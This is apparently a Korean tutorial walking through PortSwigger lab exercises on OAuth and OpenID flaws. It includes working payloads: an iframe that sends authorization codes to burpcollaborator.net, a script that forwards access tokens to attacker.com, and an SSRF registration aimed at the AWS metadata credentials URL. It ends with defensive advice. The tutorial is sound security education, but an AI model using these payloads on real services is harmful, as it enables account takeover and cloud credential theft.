μ†Œμ…œ λ―Έλ””μ–΄λ₯Ό 톡해 둜그인 ν›„ Continueλ₯Ό μ§„ν–‰ν•˜λ©΄ 뢀여받은 인증 토큰을 기반으둜 μ—”λ“œν¬μΈνŠΈμ— μš”μ²­μ„ 보내고 μ‚¬μš©μžμ˜ 데이터에 μ•‘μ„ΈμŠ€ ν•˜κ²Œ λ©λ‹ˆλ‹€.(+ state λ³€μˆ˜ λΆ€μž¬)

 

λ‹€μ‹œ μ΄μ „μœΌλ‘œ λŒμ•„κ°€ redirect_uri νŒŒλΌλ―Έν„°μ— μž„μ˜ μ£Όμ†Œλ‘œ μˆ˜μ •ν•˜μ—¬ μš”μ²­μ„ 보내보면 302 Foundλ₯Ό μœ λ°œν•˜λ©΄μ„œ μ§€μ •λœ νŽ˜μ΄μ§€λ‘œ κ°•μ œ λ¦¬λ‹€μ΄λ ‰μ…˜ λ˜λŠ” λ¬Έμ œκ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€. 

- Exploit Code -
<iframe src="https://oauth-ac101f3c1f4b4ac2c08d6bbc02a6002d.web-security-academy.net/auth?client_id=dlko1ymvizmo80mxcwkri&redirect_uri=https://burpcollaborator.net&response_type=code&scope=openid%20profile%20email"></iframe>

κ³΅κ²©μžλŠ” λ¦¬λ‹€μ΄λ ‰νŠΈ λ˜λŠ” 점을 μ°Έκ³ ν•˜μ—¬ 인증 μ½”λ“œλ₯Ό ν΄λΌμ΄μ–ΈνŠΈ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— 보낼 λ•Œ μ‚¬μš©μžμ˜ λΈŒλΌμš°μ €κ°€ λ¦¬λ””λ ‰μ…˜ λ˜μ–΄μ•Ό ν•˜λŠ” URIλ₯Ό 곡격자의 Callback μ£Όμ†Œ(burpcollaborator)둜 보내고 OAuth 토큰을 νƒˆμ·¨ ν›„ κ΄€λ¦¬μž κ³„μ •μ˜ API킀에 μ•‘μ„ΈμŠ€ ν•  수 있게 λ©λ‹ˆλ‹€.

 

μž„μ˜ κ΄€λ¦¬μžκ°€ μΈμ¦μ½”λ“œ Callbackμ£Όμ†Œκ°€ 곡격자 μ£Όμ†Œλ‘œ λ³€μ‘°λœ 링크λ₯Ό 클릭할 경우 HTTP 과정에 ν¬ν•¨λœ μΈμ¦μ½”λ“œκ°€ 곡격자 μ„œλ²„μ— 기둝되게 λ©λ‹ˆλ‹€.

 

νƒˆμ·¨ν•œ 인증 토큰을 기반으둜 /oauth-callback?code=Admin Access Token μš”μ²­μ„ λ‹€μ‹œ λ³΄λ‚΄κ²Œ 되면 μ„±κ³΅μ μœΌλ‘œ 인증이 λ˜μ–΄ κ΄€λ¦¬μž 계정은 곡격자 계정과 μ—°λ™λ˜κ²Œ λ©λ‹ˆλ‹€.

 

Stealing OAuth access tokens via an open redirect( μ˜€ν”ˆ λ¦¬λ‹€μ΄λ ‰νŠΈλ₯Ό ν™œμš©ν•œ OAuth 토큰 νƒˆμ·¨ )

λŒ€μƒ μ„œλΉ„μŠ€λŠ” Oauth 인증을 톡해 μ†Œμ…œ λ―Έλ””μ–΄ κ³„μ •μœΌλ‘œ λ‘œκ·ΈμΈν•  수 μžˆλ„λ‘ μ§€μ›ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” Oauth μ„œλΉ„μŠ€μ˜ 유무λ₯Ό νŒŒμ•… ν›„ μ•‘μ„ΈμŠ€ 토큰을 ν›”μΉ˜κΈ° μœ„ν•œ λ¦¬λ‹€μ΄λ ‰μ…˜ 취약점을 μ°Ύμ•„μ•Ό ν•©λ‹ˆλ‹€. μš°μ„  Oauth 둜그인 ν”„λ‘œμ„ΈμŠ€λ₯Ό μ™„λ£Œν•˜κ³  ν…ŒμŠ€νŠΈλ₯Ό μ§„ν–‰ν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€.

 

참고둜 OAuth 흐름 ν”„λ‘œμ„ΈμŠ€λ₯Ό μ™„λ£Œ ν›„ 과정을 μ‚΄νŽ΄λ³΄λ©΄ Authorization: Bearer 헀더에 μ•‘μ„ΈμŠ€ 토큰을 λ‹΄μ•„ /me μ—”λ“œν¬μΈνŠΈμ— μš”μ²­μ„ ν•˜λ©΄ 인증된 μ‚¬μš©μžμ˜ 계정 정보λ₯Ό λ°˜ν™˜ν•΄μ£Όκ³  μžˆμŠ΅λ‹ˆλ‹€.

 

λ’€λ‘œ λŒμ•„κ°€ 인증 μš”μ²­ μ‹œ λ°œμƒλ˜λŠ” νŒ¨ν‚·μ„ 보면 "μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬" 흐름을 μ‚¬μš©ν•˜κ³  있으며 λ¦¬λ‹€μ΄λ ‰νŠΈ λ˜λŠ” λ³€μˆ˜μΈ "redirect_uri"λ³€μˆ˜μ— μž„μ˜ μ£Όμ†Œλ₯Ό λ„£κ³  μš”μ²­ν•΄λ³΄λ©΄ μ΄λ²ˆμ—λŠ” μœ νš¨μ„± 검사λ₯Ό ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

# Input
https://example.com/oauth-callback/../../path
# Output
https://example.com/oauth-callback/path

μš”μ²­μ΄ μ‹€νŒ¨λ˜λ©΄ μΆ”κ°€ 우회 트릭 νŒ¨ν„΄μ„ μ‹œλ„ν•΄μ•Ό λ©λ‹ˆλ‹€.

μš°μ„  URI의 μ–΄λŠ 뢀뢄을 κ²€μ¦ν•˜κ³  μžˆλŠ”μ§€ ν™•μΈν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€. λͺ‡λͺ‡ μ„œλΉ„μŠ€μ˜ 경우 λͺ…ν™•ν•œ ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ μ£Όμ†Œλ₯Ό κ²€μ¦ν•˜μ§€ μ•Šκ³  ν•˜μœ„ 도메인듀 κΉŒμ§€ λͺ¨λ‘ 포함할 κ°€λŠ₯성도 μ‘΄μž¬ν•˜λ©°, ν•˜μœ„ 디렉토리가 μ—†λŠ” μ£Όμ†Œλ₯Ό μΆ”κ°€ν•˜μ—¬ λ°±μ—”λ“œ λ‹¨μ—μ„œ μ˜ˆμ™Έμ²˜λ¦¬ λ°œμƒν•˜λ„λ‘ κ°„λ‹¨ν•œ νŠΈλ¦­μ„ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

redirect_uri λ³€μˆ˜μ— 경둜 μˆœνšŒκ°€ κ°€λŠ₯ν•œ 것을 ν™•μΈν–ˆμœΌλ‹ˆ μ„œλΉ„μŠ€ 내뢀에 Open Redirectλ₯Ό λ°œμƒμ‹œν‚¬ 수 μžˆλŠ” μΆ”κ°€ 취약점을 μ°Ύμ•„μ•Ό λ©λ‹ˆλ‹€. κ²Œμ‹œκΈ€μ˜ Next λ²„νŠΌμ—λŠ” path λ³€μˆ˜κ°€ μ‚¬μš©λ˜λ©° μ§€μ •λœ 값인 postid=7 κ²Œμ‹œκΈ€λ‘œ λ„˜μ–΄κ°€κ²Œ λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

 

path λ³€μˆ˜λŠ” μ‚¬μš©μžμ˜ μž…λ ₯ 값을 κ²€μ‚¬ν•˜μ§€ μ•Šμ•„ μž„μ˜ 경둜둜 κ°•μ œ μ΄λ™μ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€. 

 

redirect_uri의 κ²½λ‘œ 이동 κ°€λŠ₯μ„±κ³Ό path λ³€μˆ˜μ˜ Open Redirect μ·¨μ•½μ μ„ ν™œμš©ν•˜μ—¬ κ³΅κ²©μžκ°€ μ§€μ •ν•΄λ‘” νŠΉμ • μ£Όμ†Œλ‘œ μ΄λ™μ΄ κ°€λŠ₯ν•œμ§€ κ²€μ¦ν•΄λ³΄λ„둝 ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

<1> 졜초 μš”μ²­
https://oauth-ac411f7e1e85158ac0220fa8027f00a4.web-security-academy.net/auth?client_id=att3am0mz8j4fnweerb92&redirect_uri=https://ac081f001e5815e3c0ff0fa000f1008e.web-security-academy.net/oauth-callback/../../post/next?path=https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email

<2> Redirect_uri 처리
https://ac081f001e5815e3c0ff0fa000f1008e.web-security-academy.net/oauth-callback/../../post/next?path=https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email

<3> μ΅œμ’… 처리
https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email

1μ°¨ μš”μ²­μ—μ„œ redirect_uri λ³€μˆ˜μ˜ 영ν–₯으둜 μ§€μ •λœ κ°’μœΌλ‘œ μ΄λ™λ˜κ³  κ·Έ ν›„ oauth-callback 이후에 μ‘΄μž¬ν•˜λŠ” 경둜 순회둜 인해 /post/next?page=에 λ‹΄κΈ΄ κ°’(evil.com) κΉŒμ§€ μ²˜λ¦¬ν•˜κ²Œ λ©λ‹ˆλ‹€.

 

μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬ μœ ν˜•μ—μ„œ λ¦¬λ‹€μ΄λ ‰νŠΈ 경둜λ₯Ό μ œμ–΄ν•  수 μžˆλ‹€λ©΄ response_type에 ν¬ν•¨λ˜λŠ” μ•‘μ„ΈμŠ€ 토큰을 νƒˆμ·¨ν•  수 μžˆμŠ΅λ‹ˆλ‹€. ν•˜μ§€λ§Œ evil.com μ£Όμ†Œμ°½μ„ 보면 /#access_token ν˜•μ‹μœΌλ‘œ 주석 μ²˜λ¦¬λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό 쑰금 λ³€ν˜•ν•΄μ•Ό λ©λ‹ˆλ‹€.

 

<script>
window.location = '/?'+document.location.hash.substr(1)
</script>

access token을 λ§€κ°œλ³€μˆ˜λ‘œ μ‚¬μš©ν•˜μ—¬ νŒŒλΌλ―Έν„°μ— μž‘νžˆλ„λ‘ μˆ˜μ •ν•˜κΈ° μœ„ν•΄μ„  window.location.hash.substring() ν•¨μˆ˜κ°€ ν•„μš”ν•©λ‹ˆλ‹€. 이λ₯Ό 톡해 μ•‘μ„ΈμŠ€ 토큰 값이 νŒŒλΌλ―Έν„°μ— μ œλŒ€λ‘œ λ‚˜μ˜€κΈ° μ‹œμž‘ν•˜λ©° μ•‘μ„ΈμŠ€ λ‘œκ·Έμ—λ„ 기둝되게 λ©λ‹ˆλ‹€.

- Exploit Code -
<script>
if (!document.location.hash) { window.location = 'https://oauth-ac2d1f051e076ccac08b1ae702160036.web-security-academy.net/auth?client_id=g92x0rwiz7j58vc36wppq&redirect_uri=https://acc21fdf1eca6c0dc0fd1ae1007d00ce.web-security-academy.net/oauth-callback/../../post/next?path=https://attacker.com/access_token.html&response_type=token&nonce=-1604844947&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }
</script>

곡격자 μ„œλ²„μ— μ €μž₯된 Exploit CodeλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€. 만일 ν•΄λ‹Ή μ£Όμ†Œμ— κ΄€λ¦¬μžκ°€ λ°©λ¬Έν•˜κ²Œ 될 경우 μ•„λž˜μ˜ μ½”λ“œκ°€ μ‹€ν–‰λ˜μ–΄ μ•‘μ„ΈμŠ€ 토큰을 νƒˆμ·¨ν•  수 있게 λ©λ‹ˆλ‹€.

 

νƒˆμ·¨ν•œ ν† ν° κ°’을 ν†΅ν•΄ Authoriztion ν—€λ”λ‘œ μž¬μš”청해보면 νƒˆμ·¨λœ κ΄€λ¦¬μžμ˜ κ³„μ •μœΌλ‘œ μ•‘μ„ΈμŠ€ ν•˜κ²Œ λ©λ‹ˆλ‹€.

 

OpenID λž€?

OpenID ConnectλŠ” OAuth 2.0 ν”„λ‘œν† μ½œ ν™•μž₯ν•΄μ„œ λ§Œλ“  κΈ°λŠ₯으둜 Autorization Requestλ₯Ό 보내며 인증(Authentication)에 λŒ€ν•œ μ •λ³΄λŠ” ID Token이라 λΆˆλ¦¬λŠ” JWTν˜•νƒœμ˜ μ‚¬μš©μž 정보λ₯Ό λ¦¬ν„΄ν•΄μ€λ‹ˆλ‹€. 곡격자 κ΄€μ μ—μ„œ OAuth ν”„λ ˆμž„μ›Œν¬μ˜ 지원 μ—¬λΆ€λŠ” OpenIDλ₯Ό ν•¨κ»˜ μ‚¬μš©ν•  κ°€λŠ₯성이 μžˆμœΌλ―€λ‘œ ν•¨κ»˜ μ²΄ν¬ν•΄μ£Όμ‹œλŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

sagarag.medium.com

1. ν΄λΌμ΄μ–ΈνŠΈ 등둝을 ν•˜κΈ° 전에 일차적으둜 λ‘œκ·ΈμΈμ„ μˆ˜ν–‰(μ•‘μ„ΈμŠ€ 토큰, API ν‚€ 등이 될 μˆ˜λ„ 있음)

2. ν΄λΌμ΄μ–ΈνŠΈμ˜ ꡬ성 데이터λ₯Ό POST ν˜•μ‹μœΌλ‘œ 전달함(JSON λ˜λŠ” μ„œλͺ…λœ JWT)

POST /register HTTP/1.1
Host: example.com
Content-Type: application/json
Accept: application/json
{
“redirect_uris”: [
      “https://client.example.org/callback",
      “https://client.example.org/callback2"],
“client_name”: “My Example Client”,
“token_endpoint_auth_method”: “client_secret_basic”,
“logo_uri”: “https://client.example.org/logo.png",
“jwks_uri”: “https://client.example.org/my_public_keys.jwks",
“example_extension_parameter”: “example_value”
}

3. ν΄λΌμ΄μ–ΈνŠΈμ— μ˜ν•΄ κ²€μ¦λ˜κ³  λ“±λ‘λ˜λ©΄ μ—”λ“œν¬μΈνŠΈμ—μ„œλŠ” λ“±λ‘λœ μ‚¬μš©μžμ˜ 데이터λ₯Ό JSON ν˜•μ‹μœΌλ‘œ μ‘λ‹΅ν•΄μ€Œ

  • 일반적으둜 client_id 및 client_secretλ₯Ό 생성함
HTTP/1.1 201 Created
Content-Type: application/json
{
“client_id”: “s6BhdRkqt3”,
“client_secret”: “cf136dc3c1fc93f31185e5885805d”,
“client_id_issued_at”: 2893256800,
“client_secret_expires_at”: 2893276800
,“redirect_uris”: [
       “https://client.example.org/callback",
       “https://client.example.org/callback2"],
“grant_types”: [“authorization_code”, “refresh_token”],
“client_name”: “My Example Client”,
“token_endpoint_auth_method”: “client_secret_basic”,
“example_extension_parameter”: “example_value”
}

 

OAuth 와 OpenID의 차이

OpenIDλŠ” 인증(Authentication) => 타 ν”Œλž«νΌμ„ 톡해 이 μ‚¬λžŒμ΄ λˆ„κ΅¬μΈμ§€ 확인 => JSON λ˜λŠ” JWT 방식
OAuthλŠ” ν—ˆκ°€(Authorization) => νƒ€ ν”Œλž«νΌμ— μ‘΄μž¬ν•˜λŠ” μ‚¬μš©μžμ˜ λ°μ΄ν„°μ— μ ‘κ·Ό => ν—€λ”에 Bearer ν¬ν•¨
OAuthμ—μ„œ λ°œκΈ‰ν•˜λŠ” Access Token은 μΌμ‹œμ μœΌλ‘œ νŠΉμ • κΆŒν•œμ„ ν—ˆκ°€ν•΄μ€€ 토큰일 뿐이지 μ‚¬μš©μžμ— λŒ€ν•œ μ •λ³΄λŠ” λ‹΄κ³  μžˆμ§€ μ•ŠμŒ

SSRF via OpenID dynamic client registration( 동적인 ν΄λΌμ΄μ–ΈνŠΈ λ“±λ‘μ„ ν†΅ν•œ SSRF )

OpenID Connect 인증 μ‹œμž‘μ€ 일반 OAuth 인증과 λ™μΌν•œ λ°©μ‹μœΌλ‘œ μž‘λ™ν•©λ‹ˆλ‹€. ν•„μš”ν•œ 것은 ν΄λΌμ΄μ–ΈνŠΈκ°€ 'openid'λ²”μœ„λ₯Ό μš”μ²­ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. response_type=code 인 κ²ƒμœΌλ‘œ 보아 μΈμ¦μ½”λ“œ λΆ€μ—¬ 흐름을 μ‚¬μš©ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

openid λ²”μœ„κ°€ ν¬ν•¨λ˜λ©΄ λ ˆμ§€μŠ€νŠΈλ¦¬λŠ” ν† ν° μ‘λ‹΅ λ‚΄μ—μ„œ id_token을 λ°˜ν™˜ν•˜κ³  ν•΄λ‹Ή μ‚¬μš©μžμ˜ μ‚¬μš©μž μ •λ³΄ λμ μ— μ•‘μ„ΈμŠ€ ν•  μˆ˜ μžˆλŠ” ν΄λΌμ΄μ–ΈνŠΈ κΆŒν•œμ„ λΆ€μ—¬ν•˜κ²Œ λ©λ‹ˆλ‹€.

 

μ†Œμ…œ λ―Έλ””μ–΄λ‘œ λ‘œκ·ΈμΈμ„ μ§„ν–‰ν•˜λ©΄ μ‚¬μš©μžμ˜ ν”„λ‘œν•„μ΄ λ‚˜νƒ€λ‚˜λŠ”λ° μ΄λŠ” /client/token/logo 의 영ν–₯을 λ°›μŠ΅λ‹ˆλ‹€. λΆ€μ—¬λœ token이 μ–΄λ–€ 것인지 μ•Œ 수 있으면 νƒˆμ·¨λœ ν† ν°μœΌλ‘œ κ΅μ²΄ν•˜μ—¬ 곡격자의 ν”„λ‘œν•„ 연동을 μ‘°μž‘ν•  수 μžˆμ„ 것 κ°™μŠ΅λ‹ˆλ‹€.

 

GET /.well-known/openid-configuration

OpenIDμ—μ„œ 동적 ν΄λΌμ΄μ–ΈνŠΈ 등둝이 μ§€μ›λ˜λŠ” 경우 ν΄λΌμ΄μ–ΈνŠΈ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ POSTμ „μš© /registrationμ—”λ“œν¬μΈνŠΈμ— μš”μ²­μ„ 보내 자체적으둜 등둝할 수 μžˆμŠ΅λ‹ˆλ‹€. 동적 등둝 μ—”λ“œν¬μΈνŠΈ μ£Όμ†Œλ₯Ό ν™•μΈν•˜κΈ° μœ„ν•΄μ„  OpenID Configuration이 ν¬ν•¨λœ 정보λ₯Ό 확인해야 λ©λ‹ˆλ‹€.(reg μœ μ‚¬ ν‚€μ›Œλ“œ)

 

μ‚¬μš©μžλ₯Ό μ„±κ³΅μ μœΌλ‘œ μΈμ¦ν•˜κΈ° μœ„ν•΄ OAuth μ„œλ²„λŠ” "client_name", "client_secret", "redirect_uris" λ“±κ³Ό 같은 ν΄λΌμ΄μ–ΈνŠΈ μ‘μš© ν”„λ‘œκ·Έλž¨μ— λŒ€ν•œ μ„ΈλΆ€ 정보λ₯Ό μ•Œμ•„μ•Ό ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ μ„ΈλΆ€ μ •λ³΄λŠ” 둜컬 ꡬ성을 톡해 μ œκ³΅ν•  수 μžˆμ§€λ§Œ OAuth κΆŒν•œ λΆ€μ—¬ μ„œλ²„μ—λŠ” 특수 등둝 끝점이 μžˆμ„ μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. 이 끝점은 일반적으둜 "/register" λ˜λŠ” "/reg"에 λ§€ν•‘λ˜λ©° μ•„λž˜μ™€ 같은 ν˜•μ‹μ˜ POST μš”μ²­μ„ 보낼 수 μžˆμŠ΅λ‹ˆλ‹€.

 

POST /connect/register HTTP/1.1
Content-Type: application/json
Host: server.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...

{
"application_type": "web",
"redirect_uris": ["https://client.example.org/callback"],
"client_name": "My Example",
"logo_uri": "https://client.example.org/logo.png",
"subject_type": "pairwise",
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client.example.org/public_keys.jwks",
"contacts": ["ve7jtb@example.org"],
"request_uris": ["https://client.example.org/rf.txt"]
}

μ΄λŸ¬ν•œ κ°’ 쀑 λ‹€μˆ˜λŠ” URL μ°Έμ‘°λ₯Ό 톡해 μ „λ‹¬λ˜κΈ° λ•Œλ¬Έμ— SSRFλ₯Ό μ‹œλ„ν•΄λ³Ό κ°€μΉ˜κ°€ μžˆμŠ΅λ‹ˆλ‹€. μ•„λž˜λŠ” 각 λ³€μˆ˜λ“€μ˜ κ°„λ‹¨ν•œ μ„€λͺ…κ³Ό λ°œμƒ κ°€λŠ₯ν•œ λ¬Έμ œλ“€μ„ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

<Server Side Callback κ°€λŠ₯μ„±>
# logo_uri : ν΄λΌμ΄μ–ΈνŠΈ μ‘μš© ν”„λ‘œκ·Έλž¨μ˜ 둜고λ₯Ό μ°Έμ‘°ν•˜λŠ” URL둜 μ„œλ²„κ°€ 자체적으둜 이미지λ₯Ό κ°€μ Έμ˜€λŠ” 경우 SSRF 및 XSS(<img>)에 λ…ΈμΆœλ  수 있음
# sector_identifier_uri : redirect_uri κ°’μ˜ 단일 JSON 배열이 μžˆλŠ” νŒŒμΌμ„ μ°Έμ‘°ν•˜λ©° μ§€μ›λ˜λŠ” 경우 동적 등둝 μš”μ²­μ„ μ œμΆœν•˜λŠ” μ¦‰μ‹œ μ„œλ²„μ—μ„œ μ½œλ°±μ„ λ°›μŒ
# request_uri : 동적 ν΄λΌμ΄μ–ΈνŠΈ 등둝이 ν™œμ„±ν™”λ˜μ§€ μ•Šμ•„ κ±°λ‚˜ 인증이 ν•„μš”ν•œ κ²½μš°μ—λ„ "request_uri"λ₯Ό μ‚¬μš©ν•˜μ—¬ 인증 μ—”λ“œν¬μΈνŠΈμ—μ„œ SSRF μ‹œλ„ κ°€λŠ₯

<Client Side Callback κ°€λŠ₯μ„±>
# redirect_uri : 인증 ν›„ ν΄λΌμ΄μ–ΈνŠΈλ₯Ό λ¦¬λ””λ ‰μ…˜ ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” URL
# client_uri : ν΄λΌμ΄μ–ΈνŠΈ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ ν™ˆ νŽ˜μ΄μ§€ URL
# policy_uri : μ΅œμ’… μ‚¬μš©μžκ°€ ν”„λ‘œν•„ 데이터가 μ‚¬μš©λ˜λŠ” 방식에 λŒ€ν•΄ 읽을 수 μžˆλ„λ‘ μ‹ λ’° λ‹Ήμ‚¬μž ν΄λΌμ΄μ–ΈνŠΈ μ‘μš© ν”„λ‘œκ·Έλž¨μ΄ μ œκ³΅ν•˜λŠ” URL
# tos_uri : μ΅œμ’… μ‚¬μš©μžκ°€ μ‹ λ’° λ‹Ήμ‚¬μžμ˜ μ„œλΉ„μŠ€ 약관을 읽을 수 μžˆλ„λ‘ μ‹ λ’° λ‹Ήμ‚¬μž ν΄λΌμ΄μ–ΈνŠΈκ°€ μ œκ³΅ν•˜λŠ” URL
# initial_login_uri : 제3μžκ°€ RPμ—μ„œ λ‘œκ·ΈμΈμ„ μ‹œμž‘ν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆλŠ” https 체계λ₯Ό μ‚¬μš©ν•˜λŠ” URIμž…λ‹ˆλ‹€. ν΄λΌμ΄μ–ΈνŠΈ μΈ‘ λ¦¬λ””λ ‰μ…˜ μ‹œλ„ κ°€λŠ₯

체크해야 될 λ³€μˆ˜λ“€μ„ ν…ŒμŠ€νŠΈν•˜λŠ” 방법은 첫 번째둜 /.well-known 끝점을 톡해 ν—ˆμš©λ˜μ–΄ μžˆλŠ”μ§€ 정보λ₯Ό μˆ˜μ§‘ν•΄μ„œ 동적 등둝 νŽ˜μ΄μ§€(/reg)에 μš”μ²­μ„ ν•˜κ±°λ‚˜ μ²˜μŒλΆ€ν„° ν…ŒμŠ€νŠΈν•˜κ³ μž ν•˜λŠ” λͺ¨λ“  λ³€μˆ˜λ₯Ό ν•œ λ²ˆμ— λ‚ λ €λ³΄λŠ” 것도 방법이 λ˜κ² μŠ΅λ‹ˆλ‹€.(λͺ¨λ“  λ³€μˆ˜κ°€ μ‚¬μš©λ˜μ§€ μ•ŠμœΌλ©° 변경될 수 있음)

 

/reg μ—”λ“œν¬μΈνŠΈλ‘œ Callback이 κ°€λŠ₯ν•œ λ§€κ°œλ³€μˆ˜λ₯Ό μš”μ²­ν•΄λ³΄λ©΄ 응닡 μ†ŒμŠ€μ— λ‚˜νƒ€λ‚©λ‹ˆλ‹€. 이λ₯Ό 톡해 κ³΅κ²©μžλŠ” ν•΄λ‹Ή λ³€μˆ˜λ₯Ό ν—ˆμš©ν•˜κ³  μžˆλ‹€λŠ” 것을 νŒŒμ•…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

*이외에 등둝 κ°€λŠ₯ν•œ λ©”νƒ€λ°μ΄ν„°λŠ” μ•„λž˜λ₯Ό μ°Έκ³ 
https://webconcepts.info/concepts/oauth-client-metadata/ 

 

OAuth Dynamic Client Registration Metadata

 

webconcepts.info

κ³΅κ²©μžκ°€ Collaborator 콜백 μ£Όμ†Œλ₯Ό λ§€κ°œλ³€μˆ˜λ‘œ μΆ”κ°€ν•˜μ—¬ μš”μ²­ν•˜λ©΄ Responseμ—λŠ” "client_id"κ°€ ν•¨κ»˜ λΆ€μ—¬λ©λ‹ˆλ‹€. λ“±λ‘λœ ν•΄λ‹Ή 값을 λ³΅μ‚¬ν•©λ‹ˆλ‹€.

 

λΆ€μ—¬λœ client_id 값을 Collaborator둜 μƒˆλ‘œ λ“±λ‘ν•œ κ°’μœΌλ‘œ λ³€κ²½ν•΄μ„œ μš”μ²­ν•΄μ£Όλ©΄ μ½œλ°±μ„ 받을 수 있게 λ˜μ–΄ SSRFκ°€ λ°œμƒλ©λ‹ˆλ‹€.

 

http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

κ΄€λ¦¬μž μ•‘μ„ΈμŠ€ ν‚€λ₯Ό νšλ“ν•˜κΈ° μœ„ν•΄ 문제의 지문에 ν¬ν•¨λ˜μ–΄ μžˆλŠ” νŠΉμ • μ„œλ²„ μ£Όμ†Œλ‘œ μš”μ²­ν•˜μ—¬ 동적 ν΄λΌμ΄μ–ΈνŠΈ 등둝 ν›„ id 값을 λ³΅μ‚¬ν•©λ‹ˆλ‹€.

 

λ³΅μ‚¬ν•œ 값을 λ³€κ²½ν•˜μ—¬ μš”μ²­ν•˜λ©΄ μ„±κ³΅μ μœΌλ‘œ AWS λΉ„λ°€ν‚€λ₯Ό νšλ“ν•  수 있게 λ©λ‹ˆλ‹€.

 

μ•ˆμ „ν•œ OAuth ν”„λ ˆμž„μ›Œν¬ 관리

OAuthμ—λŠ” κΈ°λ³Έμ μœΌλ‘œ λ³΄ν˜Έ κΈ°λŠ₯이 νƒμž¬λ˜μ–΄ μžˆμ§€ μ•ŠμœΌλ―€λ‘œ λ³΄μ•ˆμ‚¬κ³ λ₯Ό μ‚¬μ „에 μ˜ˆλ°©ν•˜κΈ° μœ„ν•΄ μ œκ³΅μžμ™€ ν΄λΌμ΄μ–ΈνŠΈ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ μƒν˜Έμž‘μš©ν•˜λŠ” λͺ¨λ“  λ³€μˆ˜μ˜ μž…λ ₯ κ°’을 κ²€μ¦ν•˜μ—¬ μœ νš¨ν•œ μš”μ²­λ§Œ μ²˜λ¦¬ν•  μˆ˜ μžˆλ„둝 κ΅¬ν˜„ν•΄λ‘λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

λ˜ν•œ μ„œλΉ„μŠ€λ₯Ό μ‚¬μš©μžκ°€ κ³΅κ°œ λΉ„κ³΅κ°œ μœ λ¬΄λ₯Ό λ– λ‚˜μ„œ μ•”μ‹œμ  κΆŒν•œ λΆ€μ—¬ μœ ν˜•λ³΄λ‹€λŠ” "μΈμ¦μ½”λ“œ λΆ€μ—¬"흐름을 λ„μž…ν•˜μ—¬ μ‚¬μš©ν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€. μ™œλƒν•˜λ©΄ Access_token이 URL νŒŒλΌλ―Έν„°μ— λ…ΈμΆœλ˜μ§€ μ•ŠμœΌλ©°, ν—€λ”에 ν¬ν•¨λ˜λŠ” Referer λ‚˜ User-Agent에도 μˆ¨κΈΈμˆ˜ μžˆκΈ° λ•Œλ¬Έμ— μ€‘μš”ν•œ ν‚€ κ°’을 μ™ΈλΆ€λ‘œλΆ€ν„° λ…ΈμΆœλ˜μ§€ μ•Šλ„둝 μ•ˆμ „ν•˜κ²Œ ν†΅μ‹ ν•  μˆ˜ μžˆκΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€.

 

OAuth μ„œλΉ„μŠ€ 제곡자 관점

  • μ˜€ν”ˆ λ¦¬λ‹€μ΄λ ‰νŠΈ 취약점(redirect_uri)
  • μƒνƒœ(state) λ§€κ°œλ³€μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ CSRF κ³΅κ²© λ°©μ§€
  • 토큰 μœ νš¨μ„± 검사(access_token, client_id)
  • scope μš”μ²­λœ λ²”μœ„κ°€ κΈ°μ‘΄ λ²”μœ„μ™€ μΌμΉ˜ν•˜λŠ”μ§€

OAuth ν΄λΌμ΄μ–ΈνŠΈ μ• ν”Œλ¦¬μΌ€μ΄μ…˜ 관점

  • μƒνƒœ(state) λ§€κ°œλ³€μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ CSRF 곡격 방지
  • Referer헀더에 λ…ΈμΆœλœ 인증 μ½”λ“œ(μ™ΈλΆ€ 이미지, 슀크립트 λ˜λŠ” CSS μ½˜ν…μΈ κ°€ λ‘œλ“œλ  λ•Œ 헀더λ₯Ό 톡해 유좜 κ°€λŠ₯)

 

<Ref>

https://portswigger.net/web-security/oauth
https://portswigger.net/research/hidden-oauth-attack-vectors
https://portswigger.net/web-security/oauth/openid
https://www.bbsmax.com/A/q4zVEw9XdK/#ssrf-via-openid-dynamic-client-registration
http://dann.com.br/web-security-academy-going-deep-on-oauth-labs-and-a-beautiful-unintended-solution/
https://apisecurity.io/issue-127-hidden-oauth-attack-vectors-methodology-for-bola-idor/
https://developer.okta.com/docs/reference/api/oidc/#get-started
https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover
